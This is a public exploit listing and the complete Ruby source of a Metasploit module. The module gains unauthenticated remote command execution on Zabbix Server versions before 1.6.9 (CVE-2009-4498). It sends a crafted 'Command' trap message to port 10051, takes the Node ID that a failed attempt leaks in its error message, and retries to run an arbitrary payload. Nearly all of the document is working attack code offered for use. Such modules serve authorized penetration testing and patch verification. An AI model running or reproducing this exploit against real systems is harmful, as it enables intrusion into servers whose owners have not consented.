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Zabbix Server Arbitrary Command Execution

Zabbix Server Arbitrary Command Execution
Posted Aug 28, 2012
Authored by Nicob, juan vazquez | Site metasploit.com

This Metasploit module abuses the "Command" trap in Zabbix Server to execute arbitrary commands without authentication. By default the Node ID "0" is used, if it doesn't work, the Node ID is leaked from the error message and exploitation retried. According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.

tags | exploit, arbitrary
systems | linux, ubuntu
advisories | CVE-2009-4498, OSVDB-60965
MD5 | eff24be4c118ce9a6b9eb930d2676760

Zabbix Server Arbitrary Command Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Zabbix Server Arbitrary Command Execution',
'Description' => %q{
This module abuses the "Command" trap in Zabbix Server to execute arbitrary
commands without authentication. By default the Node ID "0" is used, if it doesn't
work, the Node ID is leaked from the error message and exploitation retried.

According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
},
'Author' =>
[
'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2009-4498' ],
[ 'OSVDB', '60965' ],
[ 'BID', '37989' ],
[ 'EDB', '10432' ],
[ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet',
# *_perl, *_python and *_ruby work if they are installed
}
},
'Targets' =>
[
[ 'Zabbix 1.6.7', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 10 2009'
))

register_options(
[
Opt::RPORT(10051),
], self.class)
end

def send_command(sock, node_id, cmd)
host_id = Rex::Text.rand_text_numeric(3)
msg = "Command\255"
msg << "#{node_id}\255"
msg << "#{host_id}\255"
msg << "#{cmd}\n"
sock.put(msg)
res = sock.get_once
return res
end

def check
peer = "#{rhost}:#{rport}"
node_id = 0
clue = Rex::Text.rand_text_alpha(rand(5)+5)
cmd = "echo #{clue}"

connect
print_status("#{peer} - Sending 'Command' request...")
res = send_command(sock, node_id, cmd)
disconnect

if res
print_status(res)
if res =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
elsif res =~ /-1/ and res=~ /NODE (\d*)/
node_id = $1
print_good("#{peer} - Node ID #{node_id} discovered")
else
return Exploit::CheckCode::Safe
end
else # No response
return Exploit::CheckCode::Safe
end

# Retry with the good node_id
connect
print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
res = send_command(sock, node_id, cmd)
disconnect
if res and res =~ /#{clue}/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def exploit
peer = "#{rhost}:#{rport}"
node_id = 0
cmd = payload.encoded

connect
print_status("#{peer} - Sending 'Command' request...")
res = send_command(sock, node_id, cmd)
disconnect

if res and res =~ /-1/ and res=~ /NODE (\d*)/
# Retry with the good node_id
node_id = $1
print_good("#{peer} - Node ID #{node_id} discovered")
connect
print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
res = send_command(sock, node_id, cmd)
disconnect
end

# Read command output from socket if cmd/unix/generic payload was used
if (datastore['CMD'])
if res and res =~ /\x30\xad/
print_good("#{peer} - Command executed successfully")
print_status("Output:\n#{res.split("\x30\xad").last}")
else
print_error("#{peer} - Failed to execute the command")
end
end

end

end

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